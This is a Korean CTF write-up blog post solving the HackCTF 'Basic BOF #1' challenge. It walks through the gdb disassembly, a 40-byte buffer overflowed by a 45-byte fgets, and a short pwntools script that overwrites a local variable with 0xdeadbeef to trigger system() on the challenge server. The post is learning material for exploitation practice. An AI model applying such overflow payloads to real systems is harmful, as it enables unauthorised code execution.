📖 1) 문제 파악
우선, 입력된 값과, 그 값과 관련된 메모리 주소를 출력해주는 것 같다.
아직 잘 모르겠으니 gdb와 IDA를 통해 분석해보자.
코드가 그리 길지는 않다. 그래도 중요한 부분만 따로 보자.
📖 2)문제 분석
0x080484dc <+17>: mov DWORD PTR [ebp-0xc],0x4030201
0x080484e3 <+24>: mov eax,ds:0x804a040
0x080484e8 <+29>: sub esp,0x4
0x080484eb <+32>: push eax
0x080484ec <+33>: push 0x2d
0x080484ee <+35>: lea eax,[ebp-0x34]
0x080484f1 <+38>: push eax
0x080484f2 <+39>: call 0x8048380 <fgets@plt>
0x080484f7 <+44>: add esp,0x10
0x080484fa <+47>: sub esp,0x8
0x080484fd <+50>: lea eax,[ebp-0x34]
0x08048500 <+53>: push eax
0x08048501 <+54>: push 0x8048610
0x08048506 <+59>: call 0x8048370 <printf@plt>
0x0804850b <+64>: add esp,0x10
0x0804850e <+67>: sub esp,0x8
0x08048511 <+70>: push DWORD PTR [ebp-0xc]
0x08048514 <+73>: push 0x804861c
0x08048519 <+78>: call 0x8048370 <printf@plt>
0x0804851e <+83>: add esp,0x10
0x08048521 <+86>: cmp DWORD PTR [ebp-0xc],0x4030201
0x08048528 <+93>: je 0x8048543 <main+120>
0x0804852a <+95>: cmp DWORD PTR [ebp-0xc],0xdeadbeef
0x08048531 <+102>: je 0x8048543 <main+120>
0x08048533 <+104>: sub esp,0xc
0x08048536 <+107>: push 0x8048628
0x0804853b <+112>: call 0x8048390 <puts@plt>
0x08048540 <+117>: add esp,0x10
0x08048543 <+120>: cmp DWORD PTR [ebp-0xc],0xdeadbeef
0x0804854a <+127>: jne 0x804857c <main+177>
0x0804854c <+129>: sub esp,0xc
0x0804854f <+132>: push 0x8048644
0x08048554 <+137>: call 0x8048390 <puts@plt>
0x08048559 <+142>: add esp,0x10
0x0804855c <+145>: sub esp,0xc
0x0804855f <+148>: push 0x804866e
0x08048564 <+153>: call 0x80483a0 <system@plt>
0x080484dc 주소에서 [ebp-0xc]의 값에 0x4030201 값을 집어넣는다.
그리고 0x8048543에서 [ebp-0xC]와 0xdeadbeef 를 비교한다.
JNE 명령어는 Jump Not Equal 명령어이다. 즉, 두 값이 같지 않다면 <main+177>로 점프가 된다.
그러니 우리는 먼저 [ebp-0xC]와 0xdeadbeef의 값을 같게 해줘야 한다.
하지만 그 방법이 무엇인지 모르겠다. 그래서 IDA를 켜서 좀 더 쉽게 보도록 하자.
킹갓 IDA를 통해 분석해보자. (gdb를 통해 분석하는 능력도 키워야 하는데 정말 문제이다.)
우선 지역변수는 가장 끝에서부터 스택으로, 거꾸로 자라게 된다.
즉 처음에 선언된 변수는 나중에 선언된 변수보다 메모리 주소가 크다는 소리이다.
우선 s라는 배열은 EBP기준 [EBP-34]에 위치한다.
그리고 v5값은 [EBP-C]에 위치한다.
0x34 - 0xC는 0x28이다. 이것을 10진수로 표현하면 40이다.
즉, s 주소와 v5주소 사이에는 40바이트가 존재한다는 소리이다.
그래서 IDA에서는 S를 40바이트 짜리 문자열로 인식한 것 같다.
하지만, 7번째 줄에서 s에 45byte를 받아주는 것이 보인다. 만약 40byte 넘게 입력하게 된다면, BOF가 발생할 것이다.
그래서 이렇게 40글자 이상을 입력하게 된다면 You are on the right way!를 출력해주는 것 같다.
(매우 친절하시다 ...)
그럼 우리는 pwntools를 이용하여 코딩해보자.
📖 3) 문제 풀이
우선, "A"를 40Byte 덮어주고, 0xdeadbeef를 덮어준다면, v5에는 0xdeadbeef가 들어갈 것이다.
그래서 payload를 먼저 작성해주어야 한다.
payload = "A" * 40 + "\xef\xbe\xad\xde"
이렇게 되줘야 한다. p32함수를 사용하면 그 안의 값을 32비트 리틀 엔디언 형식으로 변환해준다.
이것을 이용하는게 좀 더 괜찮을 것 같다.
payload = "A" * 40
payload += p32(0xdeadbeef)
이렇게 !!
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3000)
payload = "A"*40 + "\xef\xbe\xad\xde"
p.sendline(payload)
p.interactive()
이것이 완성 코드이다.
📖 4) 문제 해결, 느낀 점
그렇다 풀었다.
아직 나는 엄청 많이 부족하다. 기본적인 pwntools 사용법 조차도 몰라서 힘들어한다.
얼른 하루에 한 문제씩, 금토일은 두 세 문제씩 풀면서 연습하도록 하자.
'스터디 그룹 > ProjectH4C' 카테고리의 다른 글
ProjectH4C 3개월 1주차 과제(HackCTF - Basic FSB) (0) | 2021.03.19 |
---|---|
ProjectH4C 3개월 1주차 과제(HackCTF - Basic BOF#2) (0) | 2021.03.18 |
ProjectH4C 2개월 4주차 과제 (우리집에 GDB 있는데… 메모리 보고갈래?) (0) | 2021.03.14 |
ProjectH4C 2개월 4주차 과제 (코딩도장) (0) | 2021.03.14 |
ProjectH4C 2개월 4주차 과제 (해커스쿨 ftz) (0) | 2021.03.12 |